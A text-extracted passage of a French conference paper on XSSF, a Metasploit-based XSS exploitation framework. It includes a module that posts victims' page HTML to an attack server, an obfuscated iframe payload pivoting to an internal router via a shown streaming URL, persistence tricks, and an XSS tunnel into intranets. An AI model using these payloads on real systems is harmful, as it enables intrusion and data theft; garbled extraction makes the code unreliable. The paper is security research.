swer afin de pouvoir quand meme gerer (dans la plupart des cas) les victimesnrsquoacceptant pas les cookies

Dans le code on peut srsquoapercevoir que la victime execute une fonction toutes les5 secondes Celle-ci a pour but drsquoaller chercher du contenu sur le serveur drsquoattaque etde lrsquoinserer dans une balise de script Le delai peut etre change par lrsquoattaquant lorsde lrsquoinjection dans la XSS (http101003624580loopinterval=x avec x lenombre de secondes entre chaque demande de commandes)

Comme nous lrsquoavons vu precedemment la SOP ne bloquant pas le contenu chargea partir drsquoune balise de script ou drsquoimage nous pouvons creer un canal avec la victimeLe serveur ne pourra jamais rien lui demander (car la victime nrsquoest pas un serveur ) mais en revanche rien nrsquoempeche la victime de demander des donnees au serveuret crsquoest ce qui se passe ici On remarquera lrsquourl rsquoaskrsquo qui sert donc a demander si denouvelles commandes sont disponibles et qui prend trois parametres (facultatifs) lrsquoun servant a localiser la victime un autre permettant de recharger le script et dene pas le prendre dans le cache (comme le fait IE entre autres) et le dernier etantlrsquoidentifiant de secours

Le lien etant en place ce seul morceau de code cote client sert a faire fonctionnerle framework Bien sur la ressource chargee lors de la requete ask est forcementun script mais ce script peut par exemple nous permettre de charger une autreressource nrsquoetant pas de type script (IFRAME IMG etc) La gestion de la facondont sont chargees les ressources est faite cote serveur et lrsquoattaquant nrsquoa pas a laconnaitre pour coder ses modules Nous verrons dans la partie suivante que tous lestypes de ressources peuvent etre envoyes par le serveur drsquoattaque

Bien que fonctionnel le framework serait peu utile srsquoil nrsquoetait pas possible derecevoir des reponses de la part des victimes (reponses a des attaques) Toujours acause de la SOP il est impossible drsquoutiliser un objet de type XMLHttpRequest afinde realiser un simple POST Ajax par exemple

L Courgnaud 315

Cependant il existe differentes techniques pour contourner ce probleme

A Utilisation de balises acceptant un champs src ces balises etant autorises parla SOP nous pouvons tres bien imaginer de charger une image avec ltimg20src=

http1010036245bypassjpgreponse=xxxgt Il est ainsi possible derecuperer une reponse cote serveur Utilisee dans BeEF et tres connue cettetechnique possede une tres grande limite la taille de la reponse ne pourra pasexceder la taille maximum autorisee pour les URL La RFC ne definit pas detaille limite pour la longueur drsquoune URL cependant chaque navigateur peut enimplementer une (2083 caracteres pour IE par exemple) De plus les librairiesRuby embarquees supportent mal la gestion de donnees importantes en GET (ge1Mo)

B Utilisation drsquoun formulaire ( ltFORMgt ) a lrsquointerieur drsquoune IFRAME invisibleafin de realiser un POST vers XSSF Cette solution permet drsquoenvoyer un grandnombre de donnees Seul bemol au choix de cette technique lrsquoutilisation sur undomaine en HTTPS En effet la plupart des navigateurs avertiront lrsquoutilisateur dupassage de donnees en clair vers un serveur tiers Dans le cas drsquoune exploitationsur un domaine HTTPS il est possible par cette technique que la victime se rendecompte de la recuperation de donnees vers un serveur malicieux

C Mise a profit des nouveaux elements de partage de ressources entre domaines offertspar le HTML5 Grace a eux il sera possible de realiser un POST simplementen AJAX en utilisant lrsquoobjet XMLHttpRequest (ou XDomainRequest sur IE)Lrsquoavantage est que les donnees transferees peuvent avoir une taille importanteet que lrsquoutilisateur ne sera pas averti de lrsquoechange de donnees (en HTTP commeen HTTPS) Lrsquoinconvenient majeur a cette solution est qursquoelle est seulementcompatible avec les dernieres versions des navigateurs actuels (celles supportantla fonctionnalite de Cross-Origin Resource Sharing (C-ORS) )

HTTP HTTPS

SO

LU

TIO

NB

Co

mpa

tibl

eto

us

na

viga

teu

rs

C-ORS SUPPORTE C-ORS NON SUPPORTE

SOLUTION CIE 8+ FF 35+ Safari 4+

Chrome Android Browser 21+iOS Safari 32+

SOLUTION BoplusUtilisateur probablement averti oplus

IE 7- FF 3- Safari 32-Opera

Table 2 Solution retenue pour le retour des donnees depuis la victime vers XSSF

316 XSSF demontrer le danger des XSS

La solution actuellement mise en place permet un fonctionnement des echangesdans la majorite des cas Bien entendu cette solution ne concerne que les donneesenvoyees depuis les victimes vers le serveur drsquoattaque Ce choix ne remet pas en causela possibilite drsquoutilisation des attaques ne necessitant pas de reponse (quelque soit lenavigateur) En effet comme nous lrsquoavons vu precedemment lrsquoenvoi des attaques sefait avec la solution A compatible avec tous les navigateurs

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT

Lancement de Metasploit

Lancement de XSSF

Deacutemarrage du serveur maicirctre XSSF (IP XXXXY)

Injection du script malicieux (ltscript src=httpXXXXYloopinterval=3gt

Connexion agrave lapplication

Appel du fichier loop

Enregistrement dune nouvelle victime

Envoi du fichier loop (JavaScript)

Mise en attente 3 secondes

Demande de code agrave exeacutecuter

Mise en attente 3 secondes

Mise en attente dun eacutevegravenement (code) pour la victime

Recherche de code pour la victime

Demande de code agrave exeacutecuter

Recherche de code pour la victime

404 No code

200 Envoi du code agrave exeacutecuter

Exeacutecution du code partie client

Envoi des reacutesultats (facultatif)

Sauvegarde des reacutesultats

Demande des reacutesultats dattaques (logs)

Geacuteneacuteration des logs

Affichage des logs et statistiques en temps reacuteel

Mise en attente 3 secondes

200 OK

Figure 5 Fonctionnement de XSSF

L Courgnaud 317

En plus de la boucle permettant de recuperer des attaques le code envoye lors dela demande de la ressource rsquolooprsquo comprend donc une bibliotheque de fonctions quelrsquoattaquant pourra utiliser dans ses modules drsquoattaques notamment une fonction derecuperation de donnees Bien entendu grace a la gestion des attaques par le noyauXSSF un attaquant pourra utiliser les fonctions fournies par le framework drsquoou il lesouhaite meme a lrsquointerieur drsquoIFRAMES qursquoil aura cree (le framework se charge derajouter a la volee la bibliotheque de fonctions lors de lrsquoarrivee des donnees depuis unserveur esclave)

Ainsi nous avons donc bien reussi a realiser les GET et POST necessaires et cemalgre la SOP Le canal de communication avec la victime est donc bi-directionnel la victime peut demander des commandes et repondre au serveur dans la majoritedes cas La recuperation de donnees reste cependant limitee (pour le moment) lorsquela victime utilise un navigateur ancien sur un domaine en HTTPS

34 Attaques XSSF

Maintenant que nous avons detaille le fonctionnement general de XSSF nousallons pouvoir expliquer les possibilites offertes par chaque module drsquoattaque Ceux-ciservent a realiser une attaque directement liee a une faille XSS (souvent en JavaScript)Ils doivent pouvoir etre implementes par nrsquoimporte qui facilement et sans avoir aconnaitre le fonctionnement du noyau de XSSF

Un module XSSF est compose de deux grandes parties

Lrsquoinitialisation permet de definir les informations et parametres du module a insererdans Metasploit lors de son utilisation

Le serveur web defini les actions a realiser par le serveur esclave lorsqursquoil recoitune requete (depuis le serveur maıtre)

class Metasploit3 lt Msf Auxiliary

include MsfXssf XssfServer

Module initialization

def initialize(info = )

super(update_info(info

rsquoNamersquo =gt rsquoWebPage Saver rsquo

rsquoDescription rsquo =gt rsquoSaves current page viewed by the victim rsquo

))

end

318 XSSF demontrer le danger des XSS

Part sent to the victim insert your code here

def on_request_uri(cli req)

send_response(cli Q XSSF_POST(documentdocumentElementinnerHTML

rsquoselfnamersquo) )

end

end

Sur cet exemple nous retrouvons bien les deux parties Lrsquoinclusion au depart de XssfServer permet de charger le module (au sens Ruby) de gestion des serveursesclaves (ce module implemente un module de serveurs drsquoattaques deja fourni parMSF pour les exploits)

Lrsquoinitialisation du module permet de redefinir des informations propres (nom etc)mais aussi drsquoen rajouter Toutes ces informations et options sont automatiquementstockees dans un objet datastore defini par Metasploit Dans XssfServer desinformations par defaut pour tous les modules lrsquoimplementant sont deja definies

def initialize(info = )

super(update_info(info

rsquoNamersquo =gt rsquoXSSF MODULE rsquo

rsquoDescription rsquo =gt rsquoXSSF MODULE rsquo

rsquoAuthor rsquo =gt rsquoConix Security rsquo

rsquoLicense rsquo =gt MSF_LICENSE

))

register_options(

[

OptStringnew(rsquoVictimIDs rsquo [false rsquoIDs of the victims to send code

Examples 1 3-5 ALL NONErsquo rsquoALLrsquo])

] MsfXssf XssfServer

)

deregister_options(rsquoSSLrsquo rsquoSSLVersion rsquo)

end

On trouve une option rajoutee qui permet lors de lrsquoutilisation drsquoun moduleimplementant XssfServer de specifier la liste des victimes a attaquer (toutes pardefaut)

Ensuite on trouve dans chaque module XSSF la methode on request uri definie par XssfServer comme celle etant appelee a chaque nouvelle requete versun serveur esclave Elle prend en parametres le client (au sens socket) et la requeteeffectuee Comme nous lrsquoavons vu precedemment le client sera en fait le serveur

L Courgnaud 319

maıtre (jouant un role de proxy entre les victimes et les serveurs esclaves)

Cette methode permet de renvoyer une reponse au client par lrsquointermediaire de lafonction send response qui prend deux parametres obligatoires (client et coderenvoye) et un parametre facultatif (entetes HTTP) Le code construit est une chaınequi peut contenir directement du JavaScript ou du code HTML Crsquoest ensuite leserveur maıtre qui fera la difference entre les deux Dans tous les cas la reponseenvoyee a la victime sera un script si le code attendu est du HTML le serveur maıtrese chargera de creer une IFRAME en JavaScript afin drsquoy inserer le code On constateaussi lrsquoutilisation de la fonction POST qui permettra de renvoyer une reponse vers leserveur drsquoattaque Ici aussi crsquoest le serveur maıtre qui va permettre lrsquoacces a cettefonction depuis nrsquoimporte ou en toute transparence pour la victime et la personnecreant le module

Bien entendu chaque module peut faire appel a des ressources supplementairesLorsque la victime demandera a nouveau la ressource au serveur maıtre si la ressourceest un fichier connu (les fichiers XSSF ndash images pdf etc ndash sont stockes dans unrepertoire defini) il la renverra directement sinon il la demandera automatiquementau serveur esclave associe a la victime (si elle est en cours drsquoattaque)

Au fil du temps chaque victime peut recevoir autant drsquoattaques que lrsquoattaquant ledesire mais seulement une seule a la fois En revanche plusieurs attaques differentessur des victimes distinctes peuvent avoir lieu en meme temps (drsquoou lrsquointeret de lesidentifier) Chaque victime dispose drsquoune file drsquoattente en base de donnees pourrecuperer ses attaques une par une

Lrsquoutilisation drsquoun module XSSF se fait exactement de la meme maniere que pourles modules MSF (avec la commande use ) Il en est de meme pour le lancementdrsquoun module (commandes run exploit ou exploit -j pour lancer lemodule en tache de fond)

On constate donc bien ici le lancement de lrsquoattaque save page sur la victime5 Lorsqursquoelle demandera si une attaque lui est destinee le serveur maıtre contacterale serveur esclave lance afin de recuperer le code a envoyer

Cote victime apres la reception du javascript loop initial une page drsquoerreur404 (Not Found) est renvoyee signe que le serveur maıtre nrsquoa aucune attaque pour lemoment Lorsque lrsquoon execute le module decrit precedemment le code est envoye a la

320 XSSF demontrer le danger des XSS

Figure 6 Execution drsquoune attaque XSSF sur les victimes actives

Figure 7 Execution drsquoune attaque cote victime

victime qui peut lrsquoexecuter

Bien entendu comme pour chaque module Metasploit les informations des mo-dules XSSF sont disponibles dans la console On retrouve les parametres propres aumodule (aucun dans le cas present) ceux herites du module XssfServer (Victi-mIDs) et ceux herites de MSF (le reste)

Afin drsquoillustrer le plus simplement possible le fonctionnement drsquoun module drsquoat-taque XSSF lrsquoexemple montre ici est des plus triviaux Beaucoup drsquoautres modulesdrsquoattaques sont presents le but etant drsquoamener la communaute a participer afin decreer des scenarios drsquoattaques interessants pour faire prendre conscience des possibilitesoffertes par les XSS et surtout de leur simplicite drsquoexploitation

35 Exploits MSF depuis XSSF

Afin de rendre ce framework XSS le plus complet possible et de lrsquointegrer totale-ment a MSF il est important drsquoavoir la possibilite de lancer des exploits MSF depuis

L Courgnaud 321

une vulnerabilite XSS Bien evidemment les exploits possibles sont ceux destines auxdifferents navigateurs

Le fonctionnement est relativement simple puisqursquoil suffit de lancer un exploit enprecisant qursquoil doit se lancer en tache de fond

Tous les modules lances en tache de fond sont consideres comme etant des jobs par Metasploit

Figure 8 Modules lances en tache de fond sur Metasploit

Le lancement de lrsquoattaque avec la commande xssf exploit [VictimIDs]

[JobID] entraıne la mise en attente drsquoune nouvelle attaque pour la ou les vic-time(s) choisie(s)

Figure 9 Lancement drsquoun exploit MSF sur une victime choisie avec XSSF

Ici le code sera donc bien renvoye a la victime lorsque celle-ci en fera la demandeA la suite de lrsquoexecution du code une session sera disponible et la prise de controleest effectuee avec une simple XSS ciblee

Une fois de plus crsquoest le serveur maıtre qui va gerer la facon dont sont charges lesmodules cote victime (gestion de jeux drsquoIFRAMES de scripts etc) Tous les modulesMetasploit peuvent donc etre utilises avec XSSF Ainsi une simple injection de scriptgenerique ( loop ) pourra entraıner lrsquoexecution de nrsquoimporte quelle attaque XSSFou exploit MSF sur nrsquoimporte quelle victime

322 XSSF demontrer le danger des XSS

36 Automatisation des attaques

Il est possible grace au framework XSS drsquoautomatiser les attaques a lancer Cecipermet de placer automatiquement une liste drsquoattaques dans la file drsquoattente de toutesles nouvelles victimes Lrsquoattaquant nrsquoa ainsi pas a lancer les attaques a chaque foispour une victime ou un groupe de nouvelles victimes

Les attaques automatiques peuvent etre de nrsquoimporte quel type (XSSF ou exploitMSF) et les modules correspondants doivent etre lances en tache de fond avant deles rajouter en attaque automatique

37 Fiabilisation des attaques

Comme pour les attaques applicatives il est important de fiabiliser une attaqueXSS afin de garder une connexion avec la victime apres son depart de la pagevulnerable Ce maintien de la connexion nrsquoest pas assure par le framework mais parses modules Pour le moment il existe un seul module de fiabilisation (ghostifyrb)mais de nouveaux peuvent venir se rajouter Celui actuellement present permetdrsquoanalyser la page afin de remplacer les hyperliens de type ltagt et de rajouterune fonction lors drsquoun clic Ainsi lorsque lrsquoutilisateur quitte la page en suivant unlien une fenetre (de petite taille) est ouverte et placee en arriere plan permettant degarder lrsquoutilisateur sur la page malicieuse

On peut imaginer drsquoautres modules de ce type avec par exemple un modulepermettant de recharger la page actuelle dans une IFRAME afin de toujours garderlrsquoutilisateur sur le meme domaine

38 Resultats et statistiques drsquoattaques

Figure 10 Page HTML de resultats drsquoattaques

Enfin pour venir completer lrsquoutilisation du framework lrsquoimportation des resultatset statistiques drsquoattaques est rendue possible grace a la commande xssf import attacks

L Courgnaud 323

Figure 11 Statistiques drsquoattaques en temps reel

[VictimID] Le framework se charge de generer dynamiquement une page de logs(au format HTML) comprenant les attaques envoyees et les reponses recues ainsiqursquoune page de statistiques actualisees en temps reel

39 Recapitulatif par rapport a lrsquoexistant

Lors du debut du projet XSSF il y a a peu pres un an certains outils existaientdeja Cependant la possibilite drsquoutiliser Metasploit afin de realiser des exploits cibleset lrsquointegration drsquoun tunnel ont etes les elements declencheurs a la realisation drsquounnouvel outil En effet ces deux elements permettent de montrer des possibilites moinsconnues et plus redoutees dans les entreprises (un vol de cookie dans un reseauinterne depuis lrsquoexterieur etant inutile)

XSSShellXSSTunnel

BeEF XeeK XSSF

Codes sup-portes

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScriptHTML

Base dedonnees

MS Access Fichiersimple

MySQL SQLite3MySQLPostgreSQLetc (cellessupporteespar RubyOn Rails)

324 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Serveur IIS 5 ousuperieur

Quelconquesupportantle PHP

Quelconquesupportantle PHP

Embarquefourni parRuby

Taille to-tale ducode (sansles mo-dules)

env 310Ko env 400Ko env 250Ko env 65Ko

Taille ducode ini-tialementenvoye auxvictimes

326Ko 43Ko 169Ko 51Ko

Chargementdynamiquedes at-taques

Non (toutesenvoyeesdirectementau debut etexecutees surdemande)

Oui Oui Oui

Constructiondrsquoun liencontenantune seuleattaqueXSS

Non Non Oui(construc-tion drsquouneURLspecifiquea une seuleattaque oua une listedrsquoattaques)

Oui (dela mememaniere queles exploitsMSF)

Prise encharge desexploitsMSF

Non Oui (redirec-tion de la vic-time vers leserveur drsquoat-taque MSF)

Non Oui (di-rectementdans XSSFen tantque serveurmaıtreesclave)

L Courgnaud 325

XSSShellXSSTunnel

BeEF XeeK XSSF

Langages Portabilite

ASPNET -Windows

PHP - Por-table

PythonPHP -Portable

Ruby - Por-table

Client gra-phique

Oui (webet appli-catif pourXSSTunnel)

Oui (web) Oui (web) Oui (web etJava)

Clientconsole

Non Non Oui (inspireede MSF)

Oui (celle deMSF)

Multi-attaquants

Oui Oui Oui Oui(XMLRPC +Armitage)

Attaquesautoma-tiques

Non Oui Oui Oui

TunnelXSS

Oui (Instal-lation drsquouneapplicationWindows)

Non Non Oui (Bi-naire)

Obfuscationde code Bypass desfiltres XSS

Non Non Non Non

Generationde rapports

Non (logs af-fiches a lavolee )

Non (logs af-fiches a lavolee )

Oui Oui

SeparationClient Serveur

Non Non Oui Non

326 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Ajout pos-sible drsquoat-taques(sansconnais-sance dunoyau)

Difficilement(en dur dansle code)

Oui Oui Oui (mo-dules)

Gestion parmodules

Non pasde notionde modulesfonctionsJavaScriptintegrees aucode

Oui (3 fi-chiers parmodules [jsphp et txt]

Oui (un fi-chier js parmodule)

Oui (un fi-chier rb parmodule)

Gestion demasse desvictimes

Oui Difficilement(utilisationde sqlite3donc drsquounfichier avecdes acceslimites)

Oui Oui

Installation Informationspour la BDet le serveurIIS a entrerdans unfichier deconfigura-tion

Mise enplace desfichiers surun serveurweb

Informationssur la BDet le serveura modifierdans le code

InstallerMSF ety copierles fichiersXSSF

Table 3 Comparaison de XSSF par rapport aux outilsexistants

Note cette comparaison a ete realisee avec la version de BeEF avant son portageen ruby (debute en octobre 2010) Certains elements ne sont plus a jour notamment

L Courgnaud 327

concernant lrsquointegration des attaques Metasploit qui semble etre meilleure Pourlrsquoinstant la nouvelle version est en beta et ne fonctionne pas totalement crsquoest pour-quoi lrsquoancienne version a ete gardee pour cette comparaison Le projet XSSShell XSSTunnel nrsquoest plus maintenu son auteur ayant rejoint le projet BeEF Quant auprojet XeEK il ne semble pour lrsquoinstant plus evoluer

Bien evidemment le gros avantage de XSSF par rapport aux autres est sonintegration dans un outil deja tres connu et enormement utilise pour les tests drsquointru-sion Lrsquoinstallation de XSSF est relativement simple et nous esperons pour le futurune integration officielle dans le Framework Metasploit Pour finir lrsquointeret majeurpar rapport aux outils actuellement existants est la possibilite drsquoutiliser un tunnelXSS afin de recuperer les pages (du domaine vulnerable) telles qursquoelles sont vues parla victime

4 Rebond et tunnel XSS

Dans cette section nous allons voir en detail une fonctionnalite importante offertepar le plugin XSSF interessante malgre les limitations de la SOP lrsquoencapsulation derequetes dans un tunnel XSS Nous verrons au travers drsquoun exemple concret lrsquoutiliteque peut avoir un rebond lors drsquoune attaque XSS et notamment lors de la mise enplace drsquoun tunnel XSS

Le principe choisi pour lrsquoexemple est simple lrsquoattaquant ayant connaissance drsquouneXSS (volatile) situee sur une application drsquoun reseau interne veut etre capable de na-viguer sur le domaine vulnerable a partir de son propre navigateur Bien evidemmentlrsquoattaquant nrsquoa aucun acces au reseau interne et de ce fait aucun acces a lrsquoapplicationLrsquoexemple choisi est base sur une vulnerabilite XSS obtenue avec une installationpar defaut de WampServer 11 mais pourrait etre reproduit exactement de la memefacon avec une XSS sur une interface web drsquoun element reseau (routeur firewalletc) ou les controles sont souvent negliges et les identifiants par defaut inchanges La vulnerabilite est donc presente sur la page httplocalhostlang=en alrsquointerieur du parametre lang

La premiere chose a laquelle on peut penser est drsquoattaquer une ou plusieurspersonnes internes au reseau (ayant acces a lrsquoapplication vulnerable) de deux manieressimples

11 httpwwwwampservercom

328 XSSF demontrer le danger des XSS

ndash Envoi (en masse) drsquoune URL contenant le code malicieux ( httpxssf_

serverloop ) vers la page du reseau interne ndash Facilement detectable par les victimes potentiellesndash Forte probabilite que la victime ne reste pas connectee bien longtemps

ndash Mise en place drsquoun site malicieux par lrsquoattaquant ndash Facilement detectable par les victimes potentiellesndash Temps de connexion dependant entierement de lrsquoattrait du site malicieux

Quelle que soit la methode retenue on constate qursquoil y a beaucoup de chancesde perdre le lien avec les victimes assez rapidement La duree de vie drsquoune XSSetant intimement liee a la duree drsquoaffichage de la page la contenant il va donc falloirtrouver une solution afin drsquoaugmenter les chances que la victime reste connecteeplus longtemps permettant ainsi a lrsquoattaquant de realiser plus drsquoactions dans la duree

Crsquoest donc la tout lrsquointeret drsquoun rebond nous allons utiliser un site (vulnerable)de grande consultation afin de rendre lrsquoattaque moins suspecte et de garder un tempsde connexion plus long avec les victimes Generalement un rebond consiste a attaquerune machine par lrsquointermediaire drsquoune autre machine afin de masquer les tracespermettant de remonter a lrsquoattaquant par exemple Pour les XSS un rebond consistea se servir drsquoune XSS sur un domaine afin de rebondir et drsquoacceder a drsquoautres domainesvulnerables Bien evidemment a cause de la SOP il sera impossible de rebondir surdrsquoautres domaines non vulnerables aux failles de type XSS Il est donc forcement plusinteressant drsquoexploiter une XSS sur une page ayant une courte duree de vie (page dereseau interne etc) a partir drsquoune page ayant une duree de vie plus longue (reseausocial page multimedia etc)

Par le passe on trouve plusieurs exemples de ce type dont un demontre a laBlack Hat 2010 12 Le chercheur dans son communique intitule How I met yourgirlfriend a montre comment localiser une personne grace a une XSS sans se servirde son IP Il se sert en fait drsquoune faille XSS sur un site pour rebondir sur une failleXSS dans lrsquointerface drsquoadministration des routeurs FiOS (Verizon) dans laquelle ilse connecte avec les identifiants par defaut (souvent inchanges) afin de recupererlrsquoadresse MAC du routeur Puis il utilise les nouveaux services Google pour retrouverles coordonnees GPS des victimes Bien evidemment il avait aussi un acces total atoute la configuration du routeur

12 Conference organisee sur le theme de la securite informatique

L Courgnaud 329

Pour en revenir a notre probleme la prochaine etape est donc de debusquer unsite vulnerable aux failles de type XSS ou les personnes visees seront susceptiblesde rester assez longtemps pour que lrsquoattaquant puisse realiser le maximum drsquoactionsTache plutot simple au vu de la frequence de rencontre des XSS et au vu de lafrequentation grandissante des sites a contenu multimedia illegaux suite a la miseen place de HADOPI 13 Utilisons donc la page httpwwwsite-de-streaming

comstreamingphpp=2943 par exemple dont le parametre vulnerable p vanous permettre de rester lies avec la victime plus longtemps

Dans un premier temps on peut donc injecter directement un script liant lavictime a XSSF p=2943gt20ltscript20src=httpxssf_serverloopgt

ltscriptgt Probleme le contenu multimedia ne sera pas charge en raison delrsquoutilisation drsquoun mauvais ID et lrsquoutilisateur sera averti du mauvais fonctionnementde la page

Nous allons donc inserer directement un code un peu plus complexe en realisantle rebond vers le serveur interne vulnerable

http wwwsite -de -streamingcom streamingphpp=2943 gt ltscript gt

documentbodyinnerHTML = rsquoltiframe width=0 height =0 src=http 19216811

lang=en22lt script src =22 http xssf_server 8888 loop22gtltscript gtgt

ltiframe gtltiframe src=http wwwsite -de -streamingcomstreamingphpp=2943

style= margin 0px padding 0px height 175 border none display

block width 100 border none overflow -y hidden overflow -x hidden

frameborder =0 scrolling =autogt ltiframe gtrsquo

ltscript gt

Le code precedent va permettre de charger deux IFRAMES dans la page ndash La premiere permet de realiser le rebond vers lrsquoapplication interne et de lier

la victime au serveur XSSF On notera qursquoil est aussi possible drsquoutiliser unmodule XSSF pour realiser le rebond Ici pour plus de simplicite le rebond sefait directement lors de lrsquoattaque La victime liee a XSSF est donc directementreconnue comme etant sur le domaine vulnerable http1921681180

ndash La seconde permet de re-afficher la page a lrsquoutilisateur avec un ID de contenumultimedia valide le laissant ainsi visionner la video De plus la page etantmaintenant chargee dans une IFRAME et le rebond dans une autre lrsquoutilisateurpeut continuer a naviguer (par les liens de la page) sans que la connexion avecXSSF ne soit rompue Bien entendu les IFRAMES sont configurees afin que lestyle de la page soit inchange

13 httpfrwikipediaorgwikiLoi Creation et Internet

330 XSSF demontrer le danger des XSS

Bien que fonctionnelle si cette URL est envoyee en masse ou par envois ciblesles chances sont assez grandes pour que lrsquoutilisateur se doute qursquoun code est inseredans lrsquoURL De plus comme la solution contient plusieurs niveaux de guillemets (rsquordquo 22) nous utiliserons donc un encodage numerique (pour les caracteres entre lesbalises ltscriptgt ) pour ne pas creer drsquoerreurs drsquointerpretation par le navigateur

httpwwwsite-de-streamingcomstreamingphpname=death_tunnelamp

movie_id_url=2943ampp1=trueampp2=falseampp3=falseampp4=falseampp5=trueamp

p6=falseampp7=falseamppage=movie_streamingamptime=1303948281772ampp=2943gt

ltscriptgteval(StringfromCharCode(10011199117[]623959))

ltscriptgt

Des parametres ont ete ajoutes afin de deplacer la partie effectivement malicieusedu code pour qursquoelle nrsquoapparaisse pas dans la barre drsquoadresses du navigateur On peutpour finir raccourcir le lien afin de lrsquoenvoyer plus simplement httpgooglZ1jI9

Maintenant que nous avons realise le rebond XSS afin de garder la victime leplus longtemps possible et que celle-ci est liee par le domaine vulnerable http

1921681180 nous allons pouvoir passer a la tunnelisation par XSS Dansles reseaux informatiques un tunnel est en fait une encapsulation de donnees drsquounprotocole reseau dans un autre Pour faire la comparaison avec les XSS on ne parlerapas de protocoles mais plutot drsquoencapsulation de requetes HTTP dans du JavaScriptLe but de la manipulation etant donc de naviguer a partir du navigateur de lrsquoattaquantsur une application du reseau interne normalement inaccessible depuis lrsquoexterieur

Le principe de notre tunnel est simple puisque la SOP autorise la victime aeffectuer des requetes sur le domaine vulnerable actuel ( http1921681180 )nous allons nous en servir comme proxy afin de naviguer sur son domaine a sa place

Lrsquoattaquant va donc pouvoir configurer son navigateur pour passer par XSSFcomme proxy et realiser une requete sur le domaine http1921681180 (1)La requete HTTP est ensuite envoyee au serveur drsquoattaque (2) qui srsquooccupe de latransformer en requete comprehensible par la victime (3) une simple requete enAJAX suffit Toutes les requetes envoyees par le navigateur sont gardees en memoiredans XSSF en attendant que la victime vienne demander ses commandes Une foisle code (requete AJAX ou liste de requetes) transmis par XSSF (4) la victime vapouvoir lrsquoexecuter (5) et recevoir une reponse du serveur interne vulnerable (6) Cettereponse sera renvoyee au serveur XSSF en tant que reponse a une attaque (7) et leserveur drsquoattaque pourra enfin retourner la reponse au navigateur (8) Lrsquoattaquantpeut ainsi visualiser le domaine comme srsquoil etait la victime puisque crsquoest elle qui varealiser toutes ces requetes

L Courgnaud 331

Figure 12 Principe du tunnel XSS

Au niveau du serveur drsquoattaque XSSF lrsquoordre de depart des requetes a executernrsquoest pas forcement le meme que lrsquoordre drsquoarrivee des reponses (la reponse a unerequete A envoyee avant une requete B peut etre recue apres celle de B) Il est doncimportant au niveau du serveur drsquoidentifier chacune des requetes envoyees par lenavigateur afin de ne pas inverser les ressources demandees

Bien evidemment le proxy nrsquoest pas aussi rapide qursquoun proxy normal car le serveurdrsquoattaque doit attendre que la victime demande des commandes avant de pouvoireffectuer une requete Un moyen efficace est de regler lrsquointervalle de demandes decommandes depuis la victime avec une petite valeur (1 ou 2 secondes)

Pour le moment le proxy gere plutot bien tout types de ressources en GET eten POST sur des domaines en HTTP Quelques problemes subsistent encore pourlrsquoutilisation sur des domaines en HTTPS avec des navigateurs ne supportant pas leHTML5 (problemes enonces dans la partie 23) Lrsquoutilisation du tunnel dans cetteminorite de cas risque de srsquoaverer impossible

On remarquera pour finir que sous Internet Explorer 6 (encore tres utilise 14) lapolitique de la SOP nrsquoinclut pas de regles pour les documents ouverts localement il est donc possible de realiser une attaque demandant drsquoouvrir un fichier malicieux(HTML + JavaScript) en local et ainsi de ne pas avoir a se soucier de la SOP Graceau tunnel on peut donc naviguer sur nrsquoimporte quel site et profiter des sessions dejaouvertes de la victime sur differentes applications

14 httpie6countdowncom

332 XSSF demontrer le danger des XSS

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT NAVIGATEUR

Transformation de la requecircte en JavaScript (XMLHttpRequest)

Transformation de la requecircte 1 en JavaScript

Transformation de la requecircte 2 en JavaScript

Intranet httpintranetindexphp

Demande de code agrave exeacutecuter

Etc

Proxy XXXXY

GET httpintranetindexphp

GET httpintranetindexphp

Mise en attente du code JavaScript agrave exeacutecuter

Demande de code agrave exeacutecuter

200 Envoi du code agrave exeacutecuter

Exeacutecution du code coteacute client

Envoi des reacutesultats

200 OK

Reacuteponse au GET (httpintranetindexphp)

GET httpintranetpage1php

Mise en attente du code agrave exeacutecuter

GET httpintranetimagejpg

Mise en attente du code agrave exeacutecuter (concateacutenation au code deacuteja existant)

XMLHttpRequest

SOP OK Reponse OK

Figure 13 Fonctionnement de XSSF Tunnel

5 Protections limites et contournements

Les vulnerabilites de type XSS sont connues depuis de nombreuses annees etbien que beaucoup de techniques existent pour srsquoen proteger elles sont souvent peuappliquees voire jamais sur certaines applications Ce manque de protections estsouvent du a lrsquoidee generale infondee de beaucoup de personnes pensant qursquoune failleXSS sert juste a afficher une boite de dialogue ce qui en fait est plus une preuve deconcept (PoC) qursquoune attaque en elle-meme

Mais face aux possibilites evoquees precedemment quelles sont les protectionsreelles existantes afin de se proteger efficacement

Il existe tout drsquoabord des solutions cote client souvent utilisees mais parfois in-efficaces

Filtres XSS (IE8 par exemple) Plutot efficace en temps normal mais ne fonc-tionne que pour les XSS volatiles (les plus rencontrees) Pour les XSS persistantes

L Courgnaud 333

la detection ne sera pas faite car les tests sont bases sur la requete faite au serveuret la reponse immediatement recue (on cherche si les parametres inseres sontpresents sans avoir ete filtres dans la reponse) On notera quand meme que denombreux patchs sont deja parus pour combler des breches dans ce filtre et qursquoily a donc tres probablement drsquoautres moyens de le bypasser (sans compter quecertains sites non vulnerables le sont devenus avec lrsquoutilisation de ce filtre [9] )

Bloqueurs (NoScript sur Firefox par exemple) Permet de nrsquoautoriser que lesscripts provenant de sites dit de confiance definis par lrsquoutilisateur ce qui en faitune solution assez efficace Cependant comme la majorite des sites aujourdrsquohuiont beaucoup de mal a fonctionner sans JavaScript crsquoest une solution qui devienttrop restrictive De plus du JavaScript malicieux sur un site de confiance ne serapas detecte et sera execute

Les IPS (Intrusion Prevention System) Permettent de reperer le passage dedonnees suspectes ou anormales sur le reseau et de les bloquer avant leur arriveea destination Crsquoest une solution efficace pour reduire lrsquoimpact des attaques maisqui encore une fois a ses limites tous les codes ne pouvant pas etre detectes Pireencore cette solution ne sera utile que sur des flux en clair aucun interet si lavulnerabilite se trouve sur un site en HTTPS

Ces solutions bien qursquoutiles dans la plupart des cas ne permettent pas de bloquertous les codes malicieux Crsquoest en partie du au fait qursquoun meme code JavaScript peutsrsquoecrire de nombreuses manieres differentes lrsquoempechant ainsi drsquoetre detecte par lesfiltres et autres solutions (cote client ou cote serveur)

lthtmlgtltbodygt

ltscript gt

alert (0)

alert(x30)

eval(rsquoalert (0)rsquo)

